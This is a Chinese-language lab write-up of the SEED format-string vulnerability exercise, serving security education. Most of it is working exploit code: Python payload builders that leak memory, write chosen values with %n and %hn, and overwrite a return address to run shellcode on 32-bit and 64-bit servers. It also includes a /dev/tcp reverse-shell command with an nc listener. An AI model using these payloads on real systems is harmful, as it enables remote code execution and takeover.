Format-String-Vulnerability Lab

Task 1: Crashing the Program

Task 2: Printing Out the Server Program’s Memory

Task 2.A: Stack Data

将输入串的第一个字节设置为 0x11111111,后面多搞几个 .%x,经过测试得到需要 64 个就能输出这个数字。

image-20221114204048516

Task 2.B: Heap Data

上面说了,需要 64 个,如果我们把第 64.%x 修改为 .%s,那么就是输出 0x11111111 这个地址的字符串。现在我们需要输出 secret 字符串,那么就把这个地址修改为 secret 的地址即可。

content[0:4] = (0x080b4008).to_bytes(4, byteorder='little')

############################################################
content[4:4 + 3 * 64] = (".%x" * 63 + ".%s").encode("latin-1")
############################################################

就可以得到结果:

image-20221114203909585

Task 3: Modifying the Server Program’s Memory

Task 3.A: Change the value to a different value.

content[0:4] = (0x080e5068).to_bytes(4, byteorder='little')

############################################################
content[4:4 + 3 * 64] = (".%x" * 63 + ".%n").encode("latin-1")
############################################################

image-20221114205838655

Task 3.B: Change the value to 0x5000

# 4 + 316 + 320 * 63 = 0x5000
content[4:4+633] = ("." * 316 + "%320x" * 63 + "%n").encode("latin-1")

image-20221114225525264

Task 3.C: Change the value to 0xAABBCCDD.

content[0:4] = (0x080e506a).to_bytes(4, byteorder='little')  # 用来写入 AABB
content[4:8] = "@@@@".encode('latin-1') # 用来 %(CCDD - AABB)x 时读取
content[8:12] = (0x080e5068).to_bytes(4, byteorder='little') # 用来写入 CCDD

# 12 + 36 + 693 × 63 = 43707 = 0xAABB; 0xAABB + 8738 = 0xCCDD
############################################################
content[12:12+363] = ("." * 36 + "%693x" * 63 + "%hn" +
"%8738x" + "%hn").encode("latin-1")
############################################################

image-20221114231617151

Task 4: Inject Malicious Code into the Server Program

通过输出我们知道,我们 ebp = 0xffffd6d8,那么返回地址就是 0xffffd6dc。为了实现攻击,我们需要修改这个地址上的值,修改为我们 shellcode 的地址。输入地址 &input0xffffd7b0,那么我们可以选择修改为 0xffffd7b0 + 0x300,也就是 0xffffdab0

好的,现在我们目标就是把地址 0xffffd6dc 的值修改为 0xffffdab0 。和上面修改内存同理,不过需要算下数就是了。

# Choose the shellcode version based on your target
shellcode = shellcode_32

# Put the shellcode somewhere in the payload
start = 1500 - len(shellcode) # Change this number
content[start:start + len(shellcode)] = shellcode

content[0:4] = (0xffffd6dc).to_bytes(4, byteorder='little') # 用来写入 dab0
content[4:8] = "@@@@".encode('latin-1') # 用来 %(ffff - dab0)x 时读取
content[8:12] = (0xffffd6de).to_bytes(4, byteorder='little') # 用来写入 ffff

print(0xdab0 - 62*8) # 用来做 16 进制计算
print(0xffff - 0xdab0)

############################################################
content[12:12+205] = ("%8x" * 62 + "%55476x" + "%hn" +
"%9551x" + "%hn").encode("latin-1")
############################################################

image-20221114235712516

拿到反向 shell 也很简单,之间做过很多次了,把 shellcode 中 ls 那一行修改为 "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *",然后在本地执行 nc -nv -l 9090 监听本地 9090 端口的 tcp 连接。然后重新发起攻击,不出意外就能拿到反向 shell

image-20221115000038443

Task 5: Attacking the 64-bit Server Program

一个小技巧

自由的移动参数指针。我们可以使用 k$ 将参数移动到第 k 个参数的位置。比如 %3$.20x 表示将参数移动到第 3 个,然后以 %.20x 的格式输出。

#include <stdio.h>
int main()
{
int var = 1000;
printf("%3$.20x%6$n%2$10x\n", 1, 2, 3, 4, 5, &var);
printf("The value in var: %d\n",var);
return 0;
}
// 移动到第 3 个参数,以 %.20x 的格式输出,移动到第 6 个参数,以 %n 的格式输出
// 移动到第 2 个参数,以 %10x 的参数输出
// 00000000000000000003 2
// The value in var: 20

我们先随便测试一下代码,拿到一些地址数据:

image-20221115002949418

我们的任务,就是把 0x00007fffffffe620 + 8 处的值,修改为 0x00007fffffffe6e0 + 0x300。分解任务:

  • 0x00007fffffffe628 的值修改为 e9e0

  • 0x00007fffffffe62a 的值修改为 ffff

  • 0x00007fffffffe62c 的值修改为 7fff

    0x00007fffffffe62e 的值修改为 0000

测试 content[0] 的偏移

将输入串的第一个字节设置为 0x1111111111111111,后面多搞几个 .%lx,经过测试得到需要 34 个就能输出这个数字。

content[0:8] = (0x1111111111111111).to_bytes(8, byteorder='little')

############################################################
content[8:8+136] = (".%lx" * 34).encode('latin-1')
############################################################

image-20221115003824042

构造 shellcode

注意,修改为 64 位的 shellcode。然后我们把有 0 的地址放在比较后面,让 str 先执行。%62$hn 表示把参数移动到第 62 个(content[0] 是第 34 个,那么 content[224] 就是第 34 + 224 / 8 个,也就是第 62 个。然后,%1$32767lx 表示把参数移动到第 1 (随便是几都行)个,输出 0x7fff 次。后面的依次类推。

# Choose the shellcode version based on your target
shellcode = shellcode_64

# Put the shellcode somewhere in the payload
start = 1500 - len(shellcode) # Change this number
content[start:start + len(shellcode)] = shellcode

content[200:208] = (0x00007fffffffe628).to_bytes(
8, byteorder='little') # 填入 e9e0
content[208:216] = (0x00007fffffffe62a).to_bytes(
8, byteorder='little') # 填入 ffff
content[216:224] = (0x00007fffffffe62c).to_bytes(
8, byteorder='little') # 填入 7fff
content[224:232] = (0x00007fffffffe62e).to_bytes(
8, byteorder='little') # 填入 0000

print(0x7fff, 0xe9e0 - 0x7fff, 0xffff - 0xe9e0) # 32767 27105 5663

############################################################
str = "%62$hn%1$32767lx%61$hn%1$27105lx%59$hn%1$5663lx%60$hn"
content[0:len(str)] = str.encode('latin-1')
############################################################

image-20221115010621345

反向 shell

修改一下 shellcode,然后建立一个 tcp 连接,最后发起攻击即可:

image-20221115010819045

Task 6: Fixing the Problem

修改代码 printf(msg);printf("%s", msg);,攻击肯定就失效了,输入什么就会输出什么。